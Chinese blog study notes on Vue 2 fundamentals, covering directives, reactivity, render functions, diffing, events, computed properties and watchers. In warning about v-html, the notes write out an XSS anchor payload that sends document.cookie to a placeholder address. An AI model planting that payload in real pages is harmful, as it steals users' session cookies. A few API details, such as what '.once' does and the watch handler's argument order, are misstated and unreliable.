Vue学习记录之基础篇——vue2基础

91 阅读15分钟

开启掘金成长之旅!这是我参与「掘金日新计划 · 12 月更文挑战」的第2天,点击查看活动详情

现在 vue3 的版本发布已近一年的时间, 回过头来看 vue2, 很多东西大家在使用的时候,如果已经开始写 vue3 的项目 或者在学习 vue3的项目的话, 大部分时候也能感觉到这二者的部分区别的,但是现在公司的一些新项目,在包给外包的时候,之前没有前端对使用的技术进行限制的时候,他们还是会使用 vue2, 所以还是回顾一下自己之前的学习笔记,当回头看总结的时候,总是能找出来更多的关键信息

Vue

介绍

概念

  • 官网

  • 基本理念

    • Vue.js是一套构建用户界面的渐进式框架

      • 渐进式:一步一步,不是说你必须一次把所有的东西都用上
    • Vue 采用自底向上增量开发的设计

      • 自底向上设计:是一种设计程序的过程和方法,就是先编写出基础程序段,然后再逐步扩大规模、补充和升级某些功能,实际上是一种自底向上构造程序的过程
    • Vue 的核心库只关注视图层,它不仅易于上手,还便于与第三方库或既有项目整合

    • 当与单文件组件和 Vue 生态系统支持的库结合使用时,Vue 也完全能够为复杂的单页应用程序提供驱动

  • 声明式渲染和组件化

    • 声明式渲染

      • Vue.js 的核心是一个允许采用简洁的模板语法来声明式的将数据渲染进 DOM 的系统
    • 组件化应用构建

      • 组件系统是一种抽象,允许我们使用小型,独立和通常可复用的组件构建大型应用
  • MVVM

    • Model-View-ViewModel

      • VM(ViewModel):用于双向绑定数据与页面,对于vue项目来说,就是vue的实例

AST

可以使用 recast 这个包库,来进行 AST 的转换

-   $ npm i recast -S

    -   操纵 AST 语法树
    -   除了parse/print/builder以外,Recast的三项主要功能
    -   run: 通过命令行读取js文件,并转化成ast以供处理
    -   tnt: 通过assert()和check(),可以验证ast对象的类型
    -   visit: 遍历ast树,获取有效的AST对象并进行更改
  • 抽象语法树(描述一段代码的对象)

    • 可以理解为一个对象,如果把这个对象转换为另一种语言,则完成了语言之间的转换

      • 抽象语法树主要用于模板编译,diff是在虚拟节点diff的不是在抽象语法树diff的
      • mustache 模板编译语法 有栈,指针,递归等思想
    • AST 中可以启动服务,工程化环境配置开发环境的服务, 一个是面向开发环境,一个是面向生产(线上)环境,可以进行编译转化

      针对 AST ---> 机器码, 之间这个步骤的操作, 如 编译js的时候, 去掉注释, 注释在AST抽象语法树中是一个 指定的 type类型, 在转码过程中,删除这种type类型, 即是去掉了注释

    • VUE 中 抽象语法树的终点是生成 H 函数(render 中的 回调), 其核心是 使用指针的方式, 一个字符一个字符的遍历, 利用栈的思想, 收集 DIV,P 等HTML 标签, 分析标签组合,闭合的情况, 把对应内容 进行 入栈, 弹栈,和出栈的操作, 完成标签的词法分析

  • js 是如何运行的

    • 在javascript世界中,你可以认为抽象语法树(AST)是最底层。 再往下,就是关于转换和编译的“黑魔法”领域了。

    • js是脚本语言 一定要在一个特定的环境中运行(也就是 V8引擎 也可以称之为宿主环境,node 浏览器就是宿主)

    • 运行分两部分

      • 第一部分是编译, 是将 js 代码转换成 AST 抽象语法树

      • 第二部分是将 AST 语法树,转换成机器码, 围绕这个 AST 进行操作(编译),增删改查都可以, 声明提升就是在这里进行操作的

    • ts 就是先转 AST 再转 js

    • ES6 如何转 ES5 先把ES6 转成 AST 语法树,再将AST语法树转换成 ES5, 通过babel可以转

Vue.config

Vue.config.productionTip = false

  • 关闭 vue 的生产提示

基础使用

DOM操作

Vue参数对象属性

  • 引入 vue.js文件

  • 定义给vue.js 管理的 dom 元素 一个 ID

  • 创建一个 vue 实例,并声明要渲染的数据源

    • el:元素挂载的位置,值可以是CSS选择器或DOM元素
  • 在给定的 dom 元素容器内,绑定数据源中变量名称 { { 变量名 } }

    • data:模型数据,值是一个对象 data可以是函数式写法, 函数式必须写return ,返回对象

vue devtools 工具

  • 通过chrome中的谷歌插件商店安装Vue Devtools工具,此工具帮助我们进行vue数据调试
  • VsCode 中 安装 vetur 插件

配置项

  • el

    • 挂载点
  • data

    • 做数据代理和数据劫持
  • methods

    • 不会做数据代理和数据劫持
  • conputed

    • 计算属性
  • watch

    • 监视
  • directive

    • 自定义指令
  • filters

    • 过滤器
  • mouted

    • 生命周期函数 有 11个

DOM 挂载操作

    1. el
    1. template

      • 概念

        • 是一种用于保存客户端内容机制,该内容在加载页面时不会呈现,但随后可以(原文为 may be)在运行时使用JavaScript实例化。

          //扫描DOM元素

          内容获取与渲染

      • 获取其内容的两种方式, 一个是 innerHTML, 一个是 content, innerHTML获取的是一个字符串, content 获取的是DOM 对象--->可使用 节点方法

      • 使用 template 的方法

          1. 直接使用

            • 也可以在 template 配置项直接写 模板字符串 定义HTML 结构 但没有做到 UI分离
            <script>
               new Vue({
                   el:"#root",
                   data:{
                       msg:"hello,vue",
                       msg2:"123"
                   },
                   template:'#tp1',//第一种
               })
                </script>
            
          1. script 标签引用

            • script type=“x-template“ type定义script解析规则 加一个id 用来引用
      • 优先级

        • render > template > el 重复设置时, 只会渲染优先级更高的
    1. render

      • 优先级最高

        • Vue 选项中的 render 函数若存在,则 Vue 构造函数不会从 template 选项或通过 el 选项指定的挂载元素中提取出的 HTML 模板编译渲染函数。
      • 使用方法

        • 可以传入一个回调函数, 函数接受一个参数 也是回调函数, 这个回调函数接收三个参数 第一个参数是创造的节点名,第二个是属性(添加在第一个参数创造出来的节点上),第三个是插槽 支持数组, 返回的是一个对象, 这个对象 VNode 也就是虚拟DOM , 基于这个VNode 对象 可以创建DOM.
        
            Vue.component('anchored-heading', { render: function (createElement) {
        
         
            return createElement(
             'h' + this.level,   // 标签名称
             this.$slots.default // 子节点数组
            )
            }, props: {
        
            level: {
             type: Number,
             required: true
            }
        
        
            } })
        
        // 这个回调函数也可以直接传入一个 组件实例
        
        // 写在 vue 挂载页面的 最高级组件中, 也是一个配置项
        
            render:(creatElement)=>{
        
               return creatElement('div',{class:'box'},[ ])  }
           或
        
            import Vue from 'vue' import App from './App.vue'
        
            Vue.config.productionTip = false
        
            new Vue({ render: h => h(App), }).$mount('#app')
        
        
      • render VNode 更新

        • 再次更新 data 的时候, 就会触发 render, 就会去对比上一次已经保存的 VNode, 这个比较就是 diff比较, 比较出来差异, 将差异的这一部分渲染到真实DOM 中, 没有改变的直接使用真实DOM,不重新渲染.
        • 两种触发 render 1. data数据改变 2. 组件属性改变 父组件更新不一定触发子组件更新, 父组件中使用子组件, 给子组件传的属性发生变化, 会触发子组件的更新(父组件的 update 也会触发)

双向数绑定原理

  • 当把一个普通的JavaScript对象传给Vue实例的data选项,Vue将遍历此对象所有的属性

    • vue2

      • Object.defineProperty

        • 数据代理

          • 概念

            • 通过vm对象,代理data对象中属性的操作 (读/写)

                        let obj1={x:100} let obj2={y:200} Object.defineProperty(obj2,'x',{

                        get(){
                          return obj1.x
                        },
                        set(v){
                          obj1.x = v
                        }

                        })
  • 使用 数据代理 和 双向绑定 , vue 将 data 中的数据 在 vm 实例对象上 使用Object.defineProperty 添加了一份 使用 get 和set 方法

    • 数据劫持

      • _data 当中的属性使用了数据劫持方法 , 让 vue 可以检测到 data中 值的改变

        • 目的就是 数据改变, 页面当中所用应用到数据的地方都会做出改变
      • 每当data 数据发生改变的时候 vue 的模板都会从新解析一遍 , 模板中调用方法了, 方法也会重新调用一下

    • 只能监听对象的, 不能监听数组的

      • 对数组方法进行了包装
    • 缺点

      • 非扁平对象 需要深度遍历进行绑定, 对数组不友好, 是侵入了数组的原型,修改了原型中的方法, 使用的方法不变,只是多加了一个 render的步骤, 所以 vue3 使用 proxy了

      • 无法检测到对象属性的新增或者删除

      • data 中的数据每次实例化的时候, vue 都会进行数据双向的 mvvm 双向绑定, data中的数据越多, 则性能消耗越大

      • 解决不需要双向绑定的数据 如何挂载?

        • 可以直接写到 配置项里面 ,和 data同级, 但是在使用的时候就不能通过this访问了, 需要加上 this.options.属性名, 可以访问了, 这样就不会进行 vm 绑定 , 在插值语法中,不能直接使用, 同样需要加上 options
    • vue3

      • 使用了Proxy类把这些属性全部转为getter/setter(数据劫持)
  • 在属性被访问和修改时通知变化。每个组件实例都有相应的 watcher 实例对象,它会在组件渲染的过程中把属性记录为依赖,之后当依赖项的 setter 被调用时,会通知 watcher 重新计算,从而致使它关联的组件得以更新。

判断一个 元素 是否是 真实DOM 使用 元素 instanceof HTMLElement 真实DOM 结果为 true

模板语法

插值表达式

  • 是 vue 框架提供的一种在html模板中绑定数据的方式

    • 使用 { { 变量名,函数 } } 方式绑定
  • vue 实例中 data 中的数据变量, 会将绑定的数据实时的显示出来

  • 语法

    支持写法

    {{变量、js表达式、三目运算符、方法调用等}}

    <h3>{{name}}</h3>
    <h3>{{name + '--好的'}}</h3>
    <h3>{{ 1 + 1 }}</h3>
    <!-- 使用函数 -->
    <h3>{{title.substr(0,6)}}</h3>
    <!-- 三目运算 -->
    <h3>{{ age>22 ? '成年':'未成年'}}</h3>
    
    • {{变量、js表达式、三目运算符、方法调用等}}

      - 括号括起来的区域,就是一个 js 语法区域, 在里面可以写部分js 语法, 不能写 变量声明,分支语句,循环语句
      
      • data 中所有属性 最后都会出现在 vm 身上

        • vm 身上所有的属性, 及 Vue 原型上的所有属性, 在 Vue 模板中都可以直接使用
      • 可以直写在标签中

指令语法

  • 用于解析标签(包括:标签属性,标签体内容,绑定事件...)

  • 例: v-bind:href="js表达式"

    • 应用的js 表达式 和插值表达式用法相同

指令 Directives

  • 概念

    • 是vue给html标签提供的一些自定义属性,这样属性都是带有 v- 前缀的特殊属性。指令特性的值预期是单个JS表达式(v-for是例外情况)。指令的职责是,当表达式的值改变时,将其产生的连带影响,响应式地作用于DOM。
  • 作用

    • 操作DOM
    • 权限限制
    • 表单验证

常用指令

vue内置指令

  • v-bind

    • 绑定数据

    • v-bind:value='属性名'

      • 简写---> :value='属性名'
  • v-model

    • 双向绑定

      • 会忽略标签自身自带的设置的默认值 - 文本框双向绑定后会忽略value

        按钮 input 本身的 value 哈哈 会被忽略

      • 文本域的双向绑定--->虽然在显示的时候,插值表达式也能显示,改数据页面也能改,但是无法双向绑定

        <!-- 虽然在显示的时候,插值表达式也能显示,改数据页面也能改,但是无法双向绑定 -->
        <textarea cols="30" rows="10">{{msg}}</textarea>
        
      • 单选框的双向绑定配合 value 使用, 单选框的v-model通常会替换掉原本的name属性,值对应被选中的单选框的value

        男 女 保密

      • 复选框的双向绑定--->会忽略掉复选框的checked属性 v-model的值是一个布尔值,代表当前复选框是否选中的状态

        吃饭 睡觉 敲代码 唱歌

    • v-model='属性名'

      • 写在输入框中 会绑定数据
            let vm1 = new Vue({ el:'#box', data:{ text:'勇敢牛牛' }, methods:{ ck(e){ e.currentTarget.style.backgroundColor = Array(6).fill(1).reduce((v,t)=>{ return v += Math.floor(Math.random()*16).toString(16) },'#') } } })
  • 修饰符

    • v-model.number 收集 到的数据转 数值, 使用的是 parseInt 取整, 配合 input 属性 text="number" 来获取输入数值的选框
    • v-model.lazy 失去焦点以后收集当前选框信息
    • v-model.trim 去前后空格
  • v-on

    • 绑定事件

    • v-on:click='函数名'

      • 简写---> @click='方法名'
  • v-if

    • 语法: v-if='表达式' / v-else-if='表达式' / v-else='表达式'

      • 连用的时候,互相之间不可以被打断
      • v-else 与前面的条件节点必须是 兄弟关系
      • v-if 可以加在 组件中, 最原生DOM 和组件都生效, 直接对其进行卸载
    • 不展示的DOM 元素会直接被移除, 适用于切换频率较低的场景

    • template

      • v-if 写在 template 标签中, 效果就是 template 标签不在页面中显示, 如同 js 中的 节点碎片一样
  • v-show

    • 语法: v-show='表达式'

      • 使用 v-if时, 元素可能无法获取到, 使用 v-show ,一定可以获取到
      • 表达式的返回结果应该是一个 布尔值, 也就是用这个 布尔值来控制 display
    • 不展示的DOM 元素未被移除, 使用的 display:none

  • v-for (列表渲染)

    • 可以循环对象和数组 , 也可以遍历字符串

      • 用 of 和 in 都可以遍历, 得到的第一项都是value(键值), of 第二项是对象的键名, 写在哪个标签,就遍历哪个标签,使用key来确定唯一性
      • 遍历字符串的时候, 第一项是字符串的每个字符,第二项是索引
    • 语法: v-for='(item,index) in/of arr' :key='item'

      • 循环中的key最好不要用索引值,索引值有塌陷问题

      • 没有第三个参数, 如果写了, 是 undefined , undefined 是不会呈现到页面上的

      • 遍历指定次数

        • 遍历一个数值 如 10 , 则第一项就是 number , 1-10 的数字, 第二项是下标, 0-9
    • key

      • 作用

        • 给节点进行一个标识,
        • 所有元素身上的key 都被征用, 在 渲染真实DOM 的时候, vue 会将 key 拿掉, 不显示在DOM 结构中 , 主要就是用来给 diff 使用
      • 使用

        • 如果使用 index 下标作为 key 会存在很严重的效率问题, 使用 push方法 和 pop 方法时候影响小, 使用 unshift 和 shift 方法影响 大 ,或进行了 破坏顺序的操作造成数组塌陷, 使用 unshift 的时候, 在前面插入一个元素, 但如果后面还有其他元素,且使用了本循环中的数据, 那么就不会向后循环

          • 初始数据在生成初始DOM 的时候, 如果没有写 key , 会自动增加key,且把 index 做为 key

            • 生成新数据渲染的时候, 会用 新的 虚拟DOM 和 原 虚拟DOM 中的数据 使用 Diff 算法进行比较, 对比的是虚拟DOM 不是真实DOM input框中输入的并不会改变对比结果, 对比结果不同,则不能复用,相同则复用

            • diff比较

              • diff: 对虚拟DOM树, 从上到下,从左到右一一比对,遇到 变化的,是把原来的删除,替换成改变的,遇到新增的, 直接增加,遇到删除,直接连同子节点一起删除. ===> 缺陷:按顺序比较的话, 如果原数据不变,只是位置发生了变化, 会从新渲染. ==========> 解决: 每一个虚拟DOM 都默认有一个 key, for循环的时候可以指定这个key值, 如果有key的话会优先比对key值相同的. (哈希碰撞检测算法) , 如果数据没有发生变化,只是位置发生了变化, 那么就只会记录位置的变化,不会修改数据 //注意 只要是用虚拟DOM (vue,react) 就会吃内存, 虚拟DOM 体积越大,内存占用率越高 // diff 算法 加 key 能在什么时候优化? 1. 位置发生变化的时候 2. 插入,删除,影响原组变化的时候
          • 用户在input框中输入的数据, 是在真实DOM 中输入的

        • 不使用index 使用 id 作为key

          • 因为使用了id作为key ,id是唯一的 ,在新数据渲染新的 虚拟DOM 的时候, 和原虚拟DOM 数据进行对比的时候, 能够直接对比出 新id 这一条数据不一样,其他的是一样的, 则其他的都是可以直接复用的
    • v-if 和 v-for 的优先级

      • vue2 中 v-for 优先级高于 v-if
      • vue3 中 v-if 优先级高于 v-for
  • v-text

    • 向其所在标签中插入文本,会替换掉原标签中的内容,不能解析标签
    • 优先级 高于 {{ }} 插值 语法, 同时写, 会覆盖同名的插值
  • v-html

    • 和 v-text 的区别是 可以解析标签

    • 安全性问题

      • 因为可以解析标签,标签中如果携带了js代码则会执行, 如果在 a标签中 写入了恶意代码,容易受到攻击(XSS)

      • <a href=javascript:location.href="目标地址?" + document.cookie>点击

        • 当把这段内容放入页面, 点击a标签的时候 就会跳转到 目标地址并把 当前地址存储的 cookie 携带到目标地址服务器中
        • cookie 中设置了 HttpOlny 的是读取不到的
  • v-cloak

    • 配合css 使用

      • 配置 [v-cloak]{ display:none }
      • v-cloak 没有值
    • 当网速过慢的时候, 不会让未经解析的模板显示在页面上

    • 会在 vue 实例接管容器的一瞬间删掉 v-cloak

  • v-once

    • 初始状态

      • 没有值
      • 加在标签上以后, 初次动态渲染后,就视为静态内容了, 以后的数据改变不会 引起 v-once所在结构的更新, 用于优化性能
  • v-pre

    • 跳过编译

      • 没有值
      • 跳过其所在节点的编译过程, 可以使用它 跳过没有指令语法,没有插值语法的节点,会加快编译

自定义指令

  • 配置项 new Vue中的 directives: { 配置 }

  • 函数式

    • 写法: 方法名(element,binding){ 代码段 }

      • 写法简单只能处理简单需求
      • 参数1 element 是 当前指令所在的真实DOM 参数2 binding 是 一个绑定对象, 里面的 value 就是 引用的属性值
      • 当绑定给 input 的时候 element 就是 input 这个标签 但在方法中 给 element.focus( ) 添加聚焦事件的时候,不生效, 因为函数调用的时候, 虚拟DOM 还没有渲染到真实页面中, element 不是真实DOM 所以不能触发 聚焦事件, 第二次触发的时候就有了真实DOM
    • 什么时候调用?

        1. 指令与元素成功绑定时调用(初次调用) 2. 指令所在的模板被从新解析时,从新调用. 即使引用的数据没有改变,但模板中其他数据改变了, 也会调用
    • 这个函数其实是 对象式 中 bind + update 的组合

  • 对象式

    • 写法: 方法名:{配置函数}

      • 可处理复杂需求

      • 对象中的配置函数有3个 依次是 bind,inserted,update

      
          directives:{
            fbind:{
              bind(element,binding){ // 指令与元素成功绑定时
                //此处相当于原生 js 中 创建元素,但元素还未插入页面中 这段时间
              },
              inserted(element,binding){ // 指令所在元素被插入页面时
                // 此处相当于原生 js 中,将元素插入页面中之后的时间点
              },
              update(element,binding){ // 指令所在模板被重新解析时
                // 数据发生改变,Vue模板每次更新时
              }
            }
          }
          ```
      
      -   这三个函数中的参数,是和 函数式中的参数一样的
      
      
  • 使用 ---> v-方法名 = '属性'

  • 自定义指令的命名

    • 定义指令名是, 如果使用小驼峰式命名, HTML 标签中是不辨认大小写的 , 使用 - 链接, 方法名使用 " " 包裹,
  • 自定义指令中回调函数的 this

    • 都是 window
  • 全局指令

    • Vue.directive(参数1,参数2)

      • 参数1就是指令名, 参数2 使用函数式时 就是函数, 使用对象式 时 就是 配置对象
    • 每次设置一个, 写在 Vue 实例化之前

样式绑定

  • class 正常绑定还是一样的 vue 绑定语法 :class=" "

  • 三种写法, 都是写在绑定的class数据中

      1. 字符串写法

        • :class='mood'

          • mood 是data中的属性名, 属性值就是类名, 可以动态改变 mood ,去改变使用的 类名
        • 适用于样式类名不确定,需要动态指定

      1. 数组写法

        • :class='classArr'

          • classArr 是data中的属性名,属性值是一个数组, 数组中存的是使用的类名,可以同时存字符串和对象
                    data: {

                       arr: ['red', 'box'],
                       arr: [
                           {
                               red: true
                           },
                           {
                               box: true
                           }
                       ],
                       arr: [
                           {
                               red: true
                           },
                           'box'
                       ]
                    },

数组中如果是字符串,多个字符串都是类名 如果数组中是对象,使用方式就跟对象使用方式一样了 适用于要绑定的样式个数不确定,名字不确定

  • 3. 对象写法

    • :class='classObj'

      • classObj 是data中的属性名, 属性值是一个对象, 对象中的 键名是类名, 键值是布尔值, true表示使用
    • 适用于要绑定的样式个数确定,名字确定,但是需要动态决定是否使用

  • 内联样式

    • 绑定

      • 数据

        • data: { activeColor: 'red', fontSize: 30 }
    • 可以直接使用对象

      • data: { styleObject: { color: 'red', fontSize: '13px' } }
      • 对象写法常常配合计算属性使用

Vue 动画

概念

  • 是操作 css 的 transition 或 animation
  • vue 会给目标元素添加/移除指定的class类名, 从而触发样式切换

过渡相关类名

  • v-enter-active

    • 进入激活
  • v-enter / v-leave

    • 进入的起点(开始样式) / 离开
  • v-enter-to / v-leave-to

    • 进入的终点(进入结束时) / 离开
  • v-leave-active

    • 离开激活
  • 在使用的时候, 进入的起点就是离开的终点, 进入的终点就是离开的起点, 进入和离开可以激活同一个过渡

使用标签

  • name 属性不加 ,默认绑定的样式是 v开头, 加了name 则需要把v替换成name的值

  • transition 标签只能包裹一个子级元素, 这个子级元素可以包裹多个其他元素

    • 如需要包裹多个子级元素 需要
    • 使用 group 的时候, 每个子级元素必须有 key值, 配合for循环使用 最佳
  • transition 标签 包裹的是需要使用动画的样式, 标签中 使用 v-show 操作动画切换

    • 通过 show 的 true 和 false 控制 动画标签类名的添加与删除
  • transition 标签最后解析的时候并不会渲染到页面上

API

$options

  • 是当前 实例下的所有属性, 包括vue 配置对象中的所有属性, 如生命周期函数 data 我们自定义的属性 等

    • console.log 打印的是对象的快照(栈存储), 当在控制台展开这个对象的时候, 会去 堆内存中寻找这个对象的具体内容

    • console.log 属于是浏览器的能力, 当我们在打印复杂数据类型的时候, 打印的对象地址是一个快照,当我们在打印的时候打印的是快照,在浏览器进行解析的时候,在打印之后对这个对象进行改变以后,打印的结果会有差异, 这里我们打印在上面 挂载到 options 上的属性的时候, 在生命周期或事件中,直接打印 this.options 看不到我们设置的属性, 但如果 打印 this.options.属性名 的时候 就是能找到的.

    • 结论

      • 结论:console.log打印出来的内容不一定正确。一般对于普通类型number、string、boolean、null、undefined的输出是可信的。但对于Object等引用类型来说,则就会出现上述异常打印输出。
      • 所以对于一般基本类型的调试,调试时使用console.log来输出内容时,不会存在坑。但调试对象时,最好还是使用打断点(debugger)这样的方式来调试更好。

重点知识

render 函数

render:(creatElement)=>{
      return creatElement('div',{class:'box'},[])
    }
  • creatElement 的参数

    • 第一个参数是创造的节点名,第二个是属性(添加在第一个参数创造出来的节点上),第三个是插槽 支持数组, 返回的是一个对象, 这个对象 VNode 也就是虚拟DOM , 基于这个VNode 对象 可以创建DOM.

      • 是一个 视图 转换成 VNode 的过程
  • 更新data

    • 再次更新 data 的时候, 就会触发 render, 就会去对比上一次已经保存的 VNode, 这个比较就是 diff比较, 比较出来差异, 将差异的这一部分渲染到真实DOM 中, 没有改变的直接使用真实DOM,不重新渲染.
    • 也就是 update 这个方法 会将 VNode 转为真实DOM 有两个执行时机, 第一次是首次渲染, 之后就是更新页面
  • DIFF 算法

    • 怎样的比对最快最精准? diff: 对虚拟DOM树, 从上到下,从左到右一一比对,遇到 变化的,是把原来的删除,替换成改变的,遇到新增的, 直接增加,遇到删除,直接连同子节点一起删除. ===> 缺陷:按顺序比较的话, 如果原数据不变,只是位置发生了变化, 会从新渲染. ==========> 解决: 每一个虚拟DOM 都默认有一个 key(index), for循环的时候可以指定这个key值, 如果有key的话会优先比对key值相同的. (哈希碰撞检测算法) , 如果数据没有发生变化,只是位置发生了变化, 那么就只会记录位置的变化,不会修改数据

      • key 值一样的话 还会比较一下 两个节点的 type 节点类型不同 , 同层级DOM 结构 key相同的 但是 节点类型不同的 还是会重新渲染, 如 div 变成了 a
      • 最后对比 节点属性, 如class类名, 如果只有属性更新则只更新节点属性, 不会影响 DOM
    • diff 算法 加 key 能在什么时候优化? 插入,删除,影响原组变化的时候 (需要改变之前元素排列)

      • js中指针就是下标 ,diff算法中也有缓存对象,来查看是否命中,减少递归或者对比次数。 只要规则复现了,就可以用到递归
    • 时间复杂度是 n 因为只遍历一次

      • 增量DOM 会弥补 diff 带来的 虚拟DOM 渲染过程汇总耗费的大量的性能 ,当两个 虚拟DOM 足够庞大的时候, diff 比较时间 将会延长, 比较完成以后才会渲染到 真实DOM 中, 对于用户来说会有明显卡顿

事件

事件绑定

  • v-on

    • v-on:click='函数名($event,参数1,参数2)'

      • 函数名后面可以写小括号,括号里是参数, 不写小括号, 则函数收到的是 e 事件对象, 写了小括号,函数执行的时候,收到的就是对应的参数
      • 事件对象可以使用$event 占位, 参数和 event 的位置 可以更改
    • 直接写在行内, 对应标签, 方法名写在后面, 方法在 vue 中的 methods 配置,最终会在vm上

      text

        let vm1 = new Vue({
        el:'#box',
        data:{
          text:'勇敢牛牛'
        },
        methods:{
          ck(e){
            console.log(e);
          }
        }
        })
-   所有被 vue 管理的函数 使用普通函数, 箭头函数会改变内部 this指向

-   @事件 = '语句'

    -   可以不使用函数名, 这里可以写一些简单的语句

事件修饰符

  • 在事件名后直接使用点语法调用

    • @click.prevent = '函数名'

      • 阻止默认事件
    • .stop

      • 阻止事件冒泡

        • 调用 event.stopPropagation()
    • .once

      • 事件只触发一次

        • 调用 event.preventDefault()
    • .capture

      • 使用事件的捕获模式
    • .self

      • 只有 event.target 是当前操作的元素时才触发
    • .native

      • 监听组件根元素的原生事件

        • 不会当成自定义事件
    • .passive

      • 事件的默认行为立即执行,无需等待事件回调执行完毕
  • 事件修饰符的连用, 可以连续点 @click.prevent.stop = '函数名'

特定事件

  • 滚轮事件

    • @scroll

      • 滚动条滚动触发, 滚动条触底不会触发, 优先滚动,在响应事件处理函数
    • @wheel

      • 鼠标滚轮滚动触发, 其他事件改变滚动条不会触发, 当滚动条触底,继续滚动滚轮,还会触发

      • 触发的时候,会先执行事件处理函数,函数调用完毕,再执行滚动条的滚动

        • 加了 .passive 就不会先执行事件处理函数, 而是先执行滚动事件
  • 键盘事件

    • @.keyup

      • 按键抬起事件(也可以用 keydown, 按下事件), 正常使用 e.keyCode 或 e.key(按键名) 判定键码, 但 vue 提供了 别名,可以直接使用,来作为判定条件

      • 常用按键别名

        • .enter 回车 .delete 删除(删除和退格键) .esc 退出 .space 空格 .tab 换行 .up 上 .down 下 .left 左 .right 右

          • 特别的 Tab

            • tab 默认事件会切换焦点,也就是即使 绑定了事件,也可能会不触发
            • 解决: 不使用 keyup事件, 使用 keydown事件
    • 系统修饰键

      • ctrl,alt,shift,meta(win)

        • 1, 配合 keyup 使用, 按下修饰键的同时,再按下其他键,随后释放其他键,事件才会被触发
          1. 配合 keydown 使用 会正常触发事件
      • 系统修饰键后可以连续点, 组成触发条件 @.keyup.ctrl.y = '函数名'

        • 只有按下 ctrl + y 才会触发
    • 定制按键别名

      • Vue.config.keyCodes.自定义键名 = 键码
  • 表单事件

    • @change

      • 输入框或 选择框 发生改变时候触发

方法

计算属性

  • 概念

    • 要用的属性不存在,要通过已有的属性计算出来
    • 当某个数据变了,执行计算属性对应的函数,返回一个数据 - 将他看做是data中的数据,拿到模板使用了
  • 配置项 new Vue上

    • computed

      • 配置方法

        • 对象{ 属性名:{ 配置 } , ...}

        • 配置中 写 get ( )

          • 当有人读取这个属性名时, 就会调用 get 方法, 且返回值就会作为 这个属性名的值
          • get 函数中 的 this 就是 vm 实例对象, 可以拿到data中的属性
        • 配置中 写 set( 参数)

          • 不必须写, 如果以后可能需要修改,才会写
          • 当修改这个属性的时候 如 vm.属性名 = '张-三' , 就会调用set ,set 通过传入的参数, 可以通过 this 直接改变 data中对应的 属性
      • 读取方法

        • 配置的 计算属性 也在 vm 身上

          • 使用的时候可以直接使用 {{ 计算属性属性名 }}
        • vm._data 上有 data 上的属性, 没有 计算属性

      • 缓存

        • get( ) 调用的时机

            1. 初次读取
            1. 所依赖的数据发生变化时
        • 在重复调用 同一个计算属性的时候, 第一次调用完毕以后会 缓存, 第二次及之后调用的时候会使用缓存(中间如果改变了get中使用的数据,会重新计算)

    • 底层是通过使用 Object.defineProperty 方法提供的 getter 和 setter

    • 计算属性的简写形式

        computed:{

          fullName(){
            //  这个 function 就当成了 get 使用,使用的时候是不能当成函数使用的,直接使用 fullName 才可以
            return this.firstName + this.lastName
          }
        }
    -   只考虑读取, 不会修改
  • 优点

    • 与 methods 相比 , 内部有缓存机制, 可复用, 效率更高,调试方便
  • 注意

    • 当计算的是一个 数组的时候, 计算属性返回的也应该是一个数组, 最好使用 map 方法
    • 计算属性没法处理异步, 异步的函数 return 的结果 无法拿到 ,如 fetch

监视(侦听) watch

  • 配置项 1. new Vue 上的 watch

    • 配置方法

      • { 属性名:{配置},属性名:{配置},...}

      • 配置中写handler函数, 这个函数有两个参数(参数1,参数2), 参数1 是旧值, 参数2 是新值, 也就是 data 发生的改变

            price: {
                    handler: function(newVal, oldVal){
                        console.log('原价'+oldVal);
                        console.log('现价'+newVal);
                        alert('太贵了,买不起!')
                    },
                    deep: true
                },
    -   配置

        -   immediate: true

            -   初始化时,让 handler 调用一下

        -   handler(参数1,参数2){代码块}

-   配置对象中,侦听的属性名, 就是data中的数据(也可以侦听计算属性), 当数据发生变化的时候,触发对应的方法

-   监视属性必须存在才能监视, 不存在也不会报错
  • 配置项 2. 使用实例对象

    • vm.$watch('属性',{配置对象})

      • 和上面的写法相同
      • 也可以使用简写形式,第一个参数属性正常写, 第二个参数 直接写函数 function(参数1,参数2){代码块}
  • 深度监视

    • data: { numbers:{a:1,b:2 } } data数据中 子级的子级需要被监视

      • 直接监视 a 属性是不存在的, 只能监视 vm 上的属性
      • 监视 numbers 的时候 , a,b 的变化 不能触发 函数的执行,因为 numbers 是一个key 监视的是 key 对应的一个地址, 复杂数据类型, 里面的内容变化, 地址并没有变
    • 方法1

      • 监视属性 'numbers.a' 必须用字符串包裹
    • 方法2

      • 监视 numbers 同时添加配置属性 deep:true
  • 简写形式

    • 不需要 immediate 和 deep 的时候 可以使用, 直接使用 watch:{ 监视属性(参数1,参数2){代码块}}
  • 总结

    • Vue 自身是可以监测对象内部值的改变, 但Vue提供的 watch 默认不可以, 使用 wtach 时根据数据具体结构,决定是否采用深度监视 deep:true
  • Vue 监视数据的原理

    • Vue 会监视 data 中所有层次的数据(数组除外)

      • 数组的更新检测

        • Vue 将被侦听的数组的变更方法进行了包裹(包装), 所以他们也会触发视图的更新, 被包裹的方法包括---> push,pop,shift,unshift,splice,sort,reverse
        • 也就是使用这些数组方法的时候, 会先使用Vue 包装的方法, 在Vue包装的过程中 使用原数组方法,同时触发视图更新
        • 不是用上面的数组方法,还想更新数据, 可以使用其他数组方法以后 直接替换原数组, 或 使用 vm.$set(数组,替换下标,被替换值) 传这三个参数实现, 如果数组中是复杂数据类型,则可以使用数组下标然后对象点语法进行赋值的方式来修改, 直接替换数组中的某一项,不会触发视图更新
      • 对象中的数据

        • 通过setter 实现监视, 且要在new Vue 时 就传入要监测的数据

        • 对象中后追加的属性, Vue 默认不做响应式处理

          • 如需给后追加的属性做响应式 需要使用下面的 set
    • Vue.set 和 vm.$set( )

      • 不能给 vm 或 vm的根数据对象添加属性
      • 区别 Vue.set( ) ...

过滤器 filters

  • 改变使用属性的呈现

    • 写法 1.{{ 属性 | 过滤器 }}
      1. 配合 v-bind ---> :x="属性 | 过滤器"
    • 过滤器没有改变原数据
  • 配置项 new Vue上 叫 filters { 配置 }

    • 配置中 每一个过滤器都是一个函数
    • 这个函数使用的时候不加( )的参数 默认就是 原属性, 如果在插值语法中, 过滤器加了 ( ), 这个函数的第一个参数还是原属性, 第二个参数开始才是传入的参数,如果即有参数又有没有参数的,最好使用参数默认值
  • 多个过滤器之间可以串联

    • 写法{{ 原属性 | 过滤器1 | 过滤器2 }}

      • 可以使用多个 , 后一个过滤器拿到的是前一个过滤器处理完的结果
  • 全局过滤器

    • 在标签顶部 Vue.config下面 (必须写在 new Vue 之前)书写 Vue.filter(参数1,参数2)
